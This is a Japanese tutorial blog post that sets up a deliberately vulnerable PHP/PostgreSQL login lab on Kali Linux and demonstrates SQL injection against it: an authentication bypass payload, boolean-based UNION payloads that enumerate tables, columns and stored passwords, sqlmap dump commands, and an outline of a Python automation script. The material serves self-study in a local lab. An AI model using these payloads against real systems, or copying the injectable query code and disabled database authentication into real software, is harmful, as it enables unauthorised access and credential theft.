見出し画像

Kali LinuxでSQL Injectionを体験する


1 全般

 勉強のため、Kali LinuxにおいてSQL Injectionを行える環境を構築しました。備忘録として手法を記載します。

※ 本記事に記載されている内容を許可されていない第三者に対して行うと犯罪行為になります。絶対に悪用しないでください。

※ また、本記事の内容を実行する際は、自己責任でお願いします。

2 構築環境のイメージ図

3 SQLサーバ(PostgreSQL)の構築

 Kali LinuxにはPostgreSQL(以下、psql)がデフォルトで入っています。まずは、設定ファイルを探します。

$ sudo find / -name "pg_hba.conf"

 検索で出てきたディレクトリの「pg_hba.conf」を開き、認証を全て取っ払います。

 また、「ADDRESS」の項目は「localhost」に変更します。

※ セキュリティ上良くないので時間がある方は適切に設定してください。

 psql側で待ち受けるポートを設定します。「postgresql.conf」を変更します。

ポートは「5432」

 psqlを起動します。ついでに起動時に勝手に起動するようにしておきます。

$ sudo systemctl start postgresql
$ sudo systemctl enable postgresql 

 psqlにアクセスします。認証を無効化しているのでパスワードなしで入れます。

$ psql -U postgres

 入れない場合は、以下のコマンドを試してください。

$ sudo -u postgres psql

 databaseを作成します。(名前は「form」)

postgres=# create database form;
\l

 一度psqlから出て、再度ログインし直します。
※ database作成後は、databaseに直接ログインします。

# psql -U postgres -d form

 tableを作成します。(名前は「user_info」)

form=# create table user_info (id int, name varchar(255), password varchar(255));
form=# \d
form=# \d user_info

 columnにレコードを挿入します。(任意の数)

form=# insert into user_info values (1,'kirby','poyo');
form=# insert into user_info values (2,'pichu','pichu');
form=# insert into user_info values (3,'admin','fake');
form=# insert into user_info values (4,'administrator','fakedayo-n');
form=# select * from user_info;
psqlの準備ができました。

4 Webサーバ(Apache2)の構築

 まずはDirectoryIndexを変更します。

$ sudo vim /etc/apache2/apache2.conf
デフォルトで「index.php」にアクセスするようにします。

 /var/www/html に、「index.php」、「login.php」、「logout.php」ファイルを作成します。

$ sudo touch /var/www/html/index.php
$ sudo touch /var/www/html/login.php
$ sudo touch /var/www/html/logout.php

 各ファイルに、以下のコードを書き込みます。

・ index.php

<?php header("X-XSS-Protection: 0");?>
<?php

    # sessionの開始
    session_start();

    # 変数の初期化
    $username = "";
    $password = "";

    # ログインボタンが押された場合
    if (isset($_POST["login"]))
    {
        # usernameとpasswordをsessionに保存
        $username = $_POST["username"];
        $password = $_POST["password"];

        # sqlに接続
        $conn_db = pg_connect("host=localhost port=5432 dbname=form user=postgres");
        if (!$conn_db)
        {   
            print("Not connection DB.");
            echo "<br>";
            exit(pg_last_error());
        }

        # 文字コードを設定
        pg_set_client_encoding('utf8');

        # SQLのクエリを作成(意図的にsqliしやすいように)
        $sql = "SELECT * FROM user_info WHERE name='$username' AND password='$password'";

        # sqlクエリを表示(本来はしない)
        print($sql);

        # クエリを送信
        $result = pg_query($conn_db, $sql);
        
        # ログイン成功(もし中身がある場合)
        if (pg_num_rows($result)!=0)
        {
            # 返ってきた値を抽出
            $data = pg_fetch_all($result);
            echo "<br><br>";
            print_r($data);
            echo "<br><br>";

            # sessionに各データを保存
            $_SESSION['login_page_username']=$username;
            $_SESSION['login_page_sql']=$sql;
            $_SESSION['allow_access']=true;
            
            # ログインページへ飛ばす
            header('Location: http://localhost/login.php');
            exit;
        }
        else
        {
            # ログイン失敗
            echo "<br><br>";
            echo "Failed login. Not found username ".$_POST['username']." and password.";
            echo "<br><br>";
        }
    }
?>

<!doctype html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>login form</title>
    </head>
    <body>
            <form id="loginForm" name="loginForm" action="<?php print($_SERVER['SCRIPT_NAME']); ?>" method="POST">
        
                <label for="username">user name</label> 
                <input type="text" id="username" name="username" value="<?php echo $username; ?>"/>
                <br/>

                <label for="password">password</label>
                <input type="text" id="password" name="password" value="<?php echo $password; ?>">
                <br/>
        
                <input type="submit" id="login" name="login" value="login">
            </form>
    </body>
</html>

<!-- <?php phpinfo();?> -->

・ login.php

<?php header("X-XSS-Protection: 0");?>
<?php

    # sessionの開始
    session_start();

    # 変数の初期化
    $username = "";
    $password = "";

    # sessionからデータ読み込み
    $username=$_SESSION['login_page_username'];
    $sql=$_SESSION['login_page_sql'];

    # 不正ログインではないか確認する変数
    $flag_auth = true;

    // リファラーを取得
    $referer = @$_SERVER['HTTP_REFERER'];

    // リファラーが存在しない場合、またはsessionで許可されていない場合、直接アクセスとみなしエラーメッセージを表示
    if (empty($referer) or !isset($_SESSION['allow_access'])) {
        print('このページへの直接アクセスは禁止されています。');
        $flag_auth = false;
        echo "<br>";
        echo "<a href = "."http://localhost/index.php".">トップへ戻る</a>";
    }
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>login page</title>
    </head>
    
    <body>
        <legend><?php echo $sql; ?></legend>
        <?php if ($flag_auth)
        {
            #echo "Cokkie = ".$_COOKIE[session_name()];
            echo "<br>Login success!";
            echo "Hello! ".$username.".";
            echo "<br><br>";
            echo "flag{pichu_kawaii}";
            echo "<br><br>";
            echo "<br>";
            echo "<a href = "."http://localhost/logout.php".">ログアウト</a>";
        }
        ?>
    </body>
</html>

・ logout.php

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>logout page</title>
            <?php
                // セッション開始
                session_start();

                # 変数の初期化
                $username = "";
                $password = "";
                
                // セッション変数を全て削除
                $_SESSION = array();
                // セッションクッキーを削除
                if (isset($_COOKIE["PHPSESSID"]))
                {
                    setcookie("PHPSESSID", '', time() - 1800, '/');
                }
                // セッションの登録データを削除
                session_destroy();
                print "ログアウト処理完了";
            ?>
        <br>
        <a href="http://localhost/index.php">トップに戻る</a>
    </head>
    <body>
    </body>
</html>

 apache2を起動します。ついでに、Kali linux起動時にapache2も起動するようにしておきます。

$ sudo systemctl start apache2
$ sudo systemctl enable apache2

 http://localhost にアクセスした時に、ページが表示されれば成功です!

http://localhost/index.php

5 Webページの動作

・ 通常の流れ(ログイン→ログイン成功→ログアウト)

http://localhost/index.php
http://localhost/login.php
http://localhost/logout.php

・ ログイン失敗時の流れ

http://localhost/index.php
http://localhost/index.php

・ 直接ログインページにアクセスした場合

http://localhost/login.php

6 SQL Injection - Authentication Bypass

 ログインページをsqliで突破し、ログインページにしか表示されないflagを入手してみます。

 とりあず、ページにsqliが通用しそうか試してみます。passwordに「'」を入力します。

http://localhost/index.php
http://localhost/index.php

 見るからに変な挙動をしています。しかもご丁寧に、送信したqueryまで表示してくれています。このサーバはどうやらsqli対策が甘そうなのが分かりました。

 今度は「' or true;--」を入力し、送信します。

http://localhost/index.php
http://localhost/login.php

 なんと、認証を突破してログインできてしまいました。

 passwordフォームに「' or true;--」が入力された場合、phpがpsqlに投げるqueryは以下の通りです。

SELECT * FROM user_info WHERE name='' AND password='' or true;--';

 しかしながら、psqlでは「--」はコメントアウトなので、実際にpsqlが解釈するqueryは以下の通りになります。

SELECT * FROM user_info WHERE name='' AND password='' or true;

 このqueryだと、table内の全てのレコードが返ってきてしまいます。本システムのphpでは返ってきたレコードの中身があるかどうかで認証をしているため、ログインの認証を突破できてしまいます。

7 Blind SQL Injection

 とりあえずログインには成功しましたが、ちょっと物足りません。
 折角ですので、psqlに保存されているusernameとpasswordを入手したいと思います。

 例をあげます。試しに、passwordフォームに下記のデータを入力してみてください。

' UNION SELECT CAST(1 as integer),CAST(2 as text),CAST(3 as text);--

passwordフォームに入力
http://localhost/login.php

 ログインに成功し、ページが遷移しました。

 次に、passwordフォームに下記のデータを入力してみてください。

' UNION SELECT CAST(1 as integer),CAST(2 as text),CAST(3 as integer);--

http://localhost/index.php

 ログインに失敗し、ページの遷移もしませんでした。このようなページ挙動(ログインの成功、失敗)を利用し、データを推測していきます。

① columnの個数及び型を特定

 まずは、columnの個数及び型の特定から始めます。

・ columnの数が1、columnの型が integerと予測

' UNION SELECT CAST(1 as integer);--

失敗

・ columnの数が1、columnの型が text(varchar)と予測

' UNION SELECT CAST(1 as text);--

失敗

・ columnの数が2、columnの型が integer,integerと予測

' UNION SELECT CAST(1 as integer),CAST(2 as integer);-- 

失敗

-以下繰り返し-

・ columnの数が3、columnの型が integer,text,textと予測

' UNION SELECT CAST(1 as integer),CAST(2 as text),CAST(3 as text);--

成功!

 column数及びcolumnの型が判明(integer,text,text)しました。

② table名の特定

 次はtableの名前を特定します。

・ table名を「a」から始まると予測

' UNION SELECT CAST(1 as integer),table_name, CAST(3 as text) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name like 'a%' ;--

失敗

-以下繰り返し-

・ table名を「u」から始まると予測

' UNION SELECT CAST(1 as integer),table_name, CAST(3 as text) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name like 'u%' ;--

成功!

・ table名を「ua」から始まると予測

' UNION SELECT CAST(1 as integer),table_name, CAST(3 as text) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name like 'ua%' ;--

失敗

-以下繰り返し-

・ table名を「user_info」から始まると予測

' UNION SELECT CAST(1 as integer),table_name, CAST(3 as text) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name like 'user\_info%' ESCAPE '\';--

成功!

・ table名は「user_info」だと予測

' UNION SELECT CAST(1 as integer),table_name, CAST(3 as text) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name like 'user\_info' ESCAPE '\';--

成功!

 これで、table名は「user_info」だと確定できました。

③ columnの名前の特定

 次は、columnの名前を特定します。

・ columnの名前は、「a」から始まると予測

' UNION SELECT CAST(1 as integer),column_name, CAST(3 as text) FROM information_schema.columns WHERE table_name = 'user_info'
AND column_name like 'a%';--

失敗

-以下繰り返し-

・ columnの名前は、「id」だと予測

' UNION SELECT CAST(1 as integer),column_name, CAST(3 as text) FROM information_schema.columns WHERE table_name = 'user_info'
AND column_name like 'id';--

成功!

・ 1つ目のcolumnの名前が特定できましたので、2つ目、3つ目のcolumnの名前も同じように調べます。

' UNION SELECT CAST(1 as integer),column_name, CAST(3 as text) FROM information_schema.columns WHERE table_name = 'user_info'
AND column_name like 'name';--

成功!

' UNION SELECT CAST(1 as integer),column_name, CAST(3 as text) FROM information_schema.columns WHERE table_name = 'user_info'
AND column_name like 'password';--

成功!

・ これで、columnの名前は「id」「name」「password」であることがわかりました。

④  columnの要素を特定

 最後に、name,passwordの要素を推測します。

・ nameの特定

' UNION SELECT * FROM user_info WHERE name like 'a%';--

成功!

-以下繰り返し-

' UNION SELECT * FROM user_info WHERE name like 'admin';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'administrator';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'kirby';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'pichu';--

成功!

・ nameに対応するpasswordの特定

' UNION SELECT * FROM user_info WHERE name like 'admin' AND password like 'fake';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'administrator' AND password like 'fakedayo-n';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'kirby' AND password like 'poyo';--

成功!

' UNION SELECT * FROM user_info WHERE name like 'pichu' AND password like 'pichu';--

成功!

admin:fake
administrator:fakedayo-n
kirby:poyo
pichu:pichu

推測結果

 psqlに保存されているusernameとpasswordを入手できました。これで、正規の手段でログインすることが可能になります。

8 まとめ

・ 不備があるシステムでは、SQLのエラー表示の有無に関係なくSQL Injectionによってデータを抜かれる可能性がある。

・ ApacheやPHP、PostgreSQLのバージョンが最新でも、エスケープ処理などのセキュリティ上必要な処置をしていないと、SQL Injectionを喰らってしまう。

9 sqlmapを使ってみる

 世の中にはsqlmapという非常に便利なツールがあります。sqlmapは、自動でsqliをした上に、勝手にデータまで取ってきてくれる最強のツールです。
 今回は、sqlmapに本システムを攻撃させてみます。(dbmsはバレてる前提です。)

$ sqlmap -u http://localhost/index.php --data "username=kirby&password=pichu&login=login" --dbms postgresql --tables
行け!sqlmap!
table名はバレました。
$ sqlmap -u http://localhost/index.php --data "username=kirby&password=pichu&login=login" --dbms postgresql -T user_info --dump
table名を指定して再度攻撃!
全部バレました。こわっ。


10 pythonで攻撃を自動化

 せっかくなので、sqlmapみたいにpythonで攻撃を自動化しました。以下コードです。

① get_session_id():

 index.phpにアクセスし、PHPで使用しているsession_idを取得します。session_idは、injectionする時のリクエストに利用します。

② inspect_current_columns_num_and_type():

 PHP側で作成するクエリで使用しているtable名(user_info)のcolumnの数と型を特定します。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer),CAST('a' as text);--

 例えば、PHP側で生成するqueryが

$sql = "SELECT * FROM user_info WHERE name='$username' AND password='$password'";

のような場合、「user_info」tableのcolumnの数と型を特定することになります。


③ inspect_table_name():

 database(今回はform)に存在するtable名を全て特定します。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer),CAST('a' as text),CAST('a' as text),CAST('2020-01-01' as date),CAST(false as boolean),CAST('p.' as bytea) FROM information_schema.tables WHERE table_schema = current_schema() AND table_name != 'test1' AND table_name like 'a%' ESCAPE '\';--

「AND table_name != 'table_name'」と記述することで、既に発見したtable名以外について調べることができます。


④ inspect_all_column_name():

 tableに存在する全てのcolumn名を特定します。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer),CAST('a' as text),CAST('a' as text),CAST('2020-01-01' as date),CAST(false as boolean),CAST('p.' as bytea) FROM information_schema.columns WHERE table_name = 'user_info' AND column_name != 'admin' AND column_name like 'a%';--'

⑤ inspect_primary_key():

 特定したcolumnに対し、primary_key(全てvalueが異なるcolumn)を特定します。これにより、各tableのcolumn数も特定できます。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer),CAST('a' as text),CAST('a' as text),CAST('2020-01-01' as date),CAST(false as boolean),CAST('p.' as bytea) FROM user_info HAVING COUNT(DISTINCT id) = COUNT(*);

 また、特定したprimary_keyのvalueを特定します。これにより、recordの数も特定できます。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer), CAST('a' as text), CAST('a' as text), CAST('2020-01-01' as date), CAST(false as boolean), CAST('@' as bytea) FROM user_info WHERE id != '1' AND id::text like 'a%';--

 columnのtypeは不明のため、「id::text like 'a%'」のようにtextに変換して検索しています。


⑥ inspect_record():

 recordのvalueを特定します。以下のようなpayloadを作成し、挙動の差異によって特定を行います。

' UNION SELECT CAST(0 as integer), CAST('a' as text), CAST('a' as text), CAST('2020-01-01' as date), CAST(false as boolean), CAST('@' as bytea) FROM user_info WHERE id = '1' AND memo::text like 'a%' ESCAPE '\';--


実行結果

 画像の通り、tableを増やしたりcolumnのtypeを増やしてもinjectionが可能です。

この記事が気に入ったらサポートをしてみませんか?